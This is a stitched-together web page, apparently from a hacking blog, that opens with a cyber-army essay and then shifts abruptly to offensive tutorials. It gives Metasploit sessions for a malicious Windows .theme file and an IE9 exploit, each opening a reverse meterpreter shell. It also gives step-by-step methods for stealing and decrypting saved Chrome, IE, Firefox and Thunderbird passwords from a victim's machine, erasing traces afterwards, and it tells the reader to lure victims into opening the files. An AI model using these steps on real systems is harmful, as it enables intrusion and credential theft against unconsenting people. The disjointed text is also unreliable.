Cyber Warfare - Building Your Nation's Cyber Army - Digital Arm Force

This article will be showing you why we need to really think of our nation’s cyber army. Where we are, which digital weapons we have? What are the challenges faced by your countries in the digital world. So, How to overcome this problem? How to recruit your digital arm force smartly? This article will help the government as well as private security firms too.

         History of Hacking

Over the past years we have seen many big hacking case studies which lead us to think seriously about cyber crime world. Some of the stories I want to share with you.

Moonlight Maze:Although the feds aren't talking publicly about a three-years-plus cyber-attack believed to be coming from Russia, a member of the U.S. National Security Agency's Advisory Board says the case, dubbed "Moonlight Maze," reveals huge cracks in the U.S. government's defense system. The Moonlight Maze stealth attack, which has targeted sensitive but unclassified information since it was launched in March 1998, is the "largest sustained cyber-attack" on the U.S., according to Adams. (Abreu, 2001)

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Hack local network PC using windows theam file.

This module exploits a vulnerability mainly affecting Microsoft
Windows XP and Windows 2003. The vulnerability exists in the
handling of the Screen Saver path, in the [boot] section. An
arbitrary path can be used as screen saver, including a remote SMB
resource, which allows for remote code execution when a malicious
.theme file is opened, and the "Screen Saver" tab is viewed. The
code execution is also triggered if the victim installs the
malicious theme and stays away from the computer, when Windows tries
to display the screensaver.

Available targets:
  Id  Name
  --  ----
  0   Windows XP SP3 / Windows 2003 SP2


msf > use exploit/windows/fileformat/ms13_071_theme
msf exploit(ms13_071_theme) > set srvhost 192.168.56.1
srvhost => 192.168.56.1
msf exploit(ms13_071_theme) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms13_071_theme) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf exploit(ms13_071_theme) > run
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.56.1:4444
msf exploit(ms13_071_theme) > [*] Generating our malicious executable...
[*] Creating 'msf.theme' file ...
[+] msf.theme stored at /root/.msf4/local/msf.theme
[+] Let your victim open msf.theme
[*] Ready to deliver your payload on \\192.168.56.1\qggdxi\vleGT.scr
[*] Server started.

Then send your generated theam file to victim using \\192.168.56.1\qggdxi\vleGT.scr link ;he should open it through using smb. So tell him to put this link to run .

As soon as he open file you will get session.

Extract & decrypt Chrome & IE passwords from Remote PC

In previous post i mentioned how we can extract saved passwords from firefox & thunderbird from rempote PC. Today we are going to extract saved passwords from Google chrome & IE. If you want to know more technical detail you can visit this site.

Chrome stores all the sign-on secrets into the internal database file called 'Web data' in the current user profile folder. Newer version has moved the login passwords related database into new file named 'Login Data'.  DPAPI encrypts data based on either the DPAPI_SYSTEM values stored in LSA secrets or the user’s password, you can’t copy the database file to another machine and decrypt without using special tools as we did in case of mozilla.


First download tool ChromePasswordDecryptor from here .

Installed it in windows.We are only interested in windows binary which is located on C:\Program Files\SecurityXploded . So from that directory copy binary ChromePasswordDecryptor.exe to our main OS(Backtrack).

We are going to use two method to extract saved passwords from browser.

(A)In this method we are going to upload our binary to victim pc using meterpreter shell & then we execute it.

(1)Get meterpreter shell.

(2)Upload ChromePasswordDecryptor.exe (Which we copy into Backtract from windows) to victim.

(3)Execute it from shell using following command.
    ChromePasswordDecryptor.exe "pwd.txt"

(4)Download pwd.txt
    download pwd.txt /root

(5)Remove pwd.txt from victim & also remove uploaded binary

    rm ChromePasswordDecryptor.exe
    rm pwd.txt

(B)In this method we are going to execute it in memory ; so we do not have to upload it to victim ; but we need system priv for this method.

(1)Get meterpreter shell

(2)Get system priv.

(3)Change directory to C://windows\system32

(4)Execute it in memory using following command
execute -H -m -d calc.exe -f ChromePasswordDecryptor.exe -a "pwds.txt"

(5)download pwds.txt
    download pwds.txt /root

(6)Remove pwds.txt from victim
    rm pwds.txt

You can also used same method for IE also.Download file from here .

Extract & decrypt passwords from Firefox & Thunderbird.

Today we are going to extract password from Fireox & Thunderbird which are saved in browser and then try to decrypt that passwords from remote PC. Before some times ; i posted here that how to extract information from saved sqlite database of skype, firefox, chrome using python script.

Most of the morden browser save information in sqlite format. When user enter login information ; firefox asked user to remember password.If user click on remember password then this passwords are saved into firefox database in signons.sqlite. But passwords are encrypted. so just by downloading signons.sqlite we can not extract passwords from it. Signons.sqlite is useless without the key3.db file, which also resides in the profile folder of your application. Passwords in the signons.sqlite file is encrypted with TripleDES in CBC mode. The key used for the encryption is saved in key3.db and encrypted as well.

Firefox Database path in windows:-

[Windows XP]
C:\Documents and Settings\<user_name>\Application Data\Mozilla\Firefox\<random_name>.default

[Windows Vista & Windows 7]
C:\Users\<user_name>\AppData\Roaming\Mozilla\Firefox\<random_name>.default

Firefox Database path in linux
/root/.Mozilla/Firefox/Profile/<random_name>.default

First we have to get meterpreter shell using any known vulnerability or using any metasploit method.

Then we have to download three files from remote PC which are key3.db,signons.sqlite;cert8.db.You can use metasploit post module (use post/multi/gather/firefox_creds)for downloading this file or you can also download manually by browsing directory.

Now we have database file as well as encryption key in key3.db. So now we have to decrypt it. I can not find any third party software to decrypt this passwords for linux platform.But i found one software which is working very well in windows.Download software from here . (It will work for both Firefox & thunderbird)

(1)copy key3.db,signons.sqlite;cert8.db files in some folder which can be browse from windows.

(2)Open windows.
(3)Install that software.
(4)Open it and Just specify firefox installed path & specify folder in which we copied downloaded file.

(5)click on Start recovery button.

 

Fireox & thunderbird use same encryption technique. So you can also get thunderbird password from above mention method. Just download key3.db,signons.sqlite;cert8.db files from thunderbird folder whose path are as follow

[Windows XP]
C:\Documents and Settings\<user_name>\Application Data\Thunderbird\Profiles\<random_name>.default

[Windows Vista & Windows 7]
C:\Users\<user_name>\AppData\Roaming\Thunderbird\Profiles\<random_name>.default

What is solution?

If you set master password for firefox & thunderbird then without master password ; saved passwords can not be decrypted.

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Pentesting of coldfusion web-application.

ColdFusion is a commercial rapid web application development platform.
CFML = ColdFusion Markup Language

ColdFusion = Adobe’s product that handles CFML page/libs
– Runs on Windows, Solaris, HP/UX and Linux
– Apache, IIS, Jrun
  
Following modules are Available in metasploit for coldfusion.

msf > search coldfusion

auxiliary/gather/coldfusion_pwd_props             
auxiliary/scanner/coldfusion_rds_check                                         
auxiliary/scanner/http/cold_fusion_version                             
auxiliary/scanner/http/coldfusion_locale_traversal                 
exploit/windows/http/coldfusion_fckeditor     

Following documents are available for pentesting of coldfusion web-application

ColdFusion for Penetration Testers

Coldfusion hacking

ColdFusion Web Shell

If you have good document available for pentesting of coldfusion web-application ; please let me know. We will add it.

Exploit for IE 9 on Windows 7 SP1

This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9, it seems to only affect certain releases of mshtml.dll. For example: This module can be used against version  9.0.8112.16446

Target
IE 9 on Windows 7 SP1 (mshtml 9.0.8112.16446)

msf > use exploit/windows/browser/ms13_059_cflatmarkuppointer

msf exploit(ms13_059_cflatmarkuppointer) > set srvhost 192.168.56.1
srvhost => 192.168.56.1
msf exploit(ms13_059_cflatmarkuppointer) > set uripath /
uripath => /
msf exploit(ms13_059_cflatmarkuppointer) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf exploit(ms13_059_cflatmarkuppointer) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms13_059_cflatmarkuppointer) > run
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.56.1:4444
msf exploit(ms13_059_cflatmarkuppointer) > [*] Using URL: http://192.168.56.1:8080/
[*] Server started.

Now send that link to victim; as soon as he open link; you will get meterpreter shell.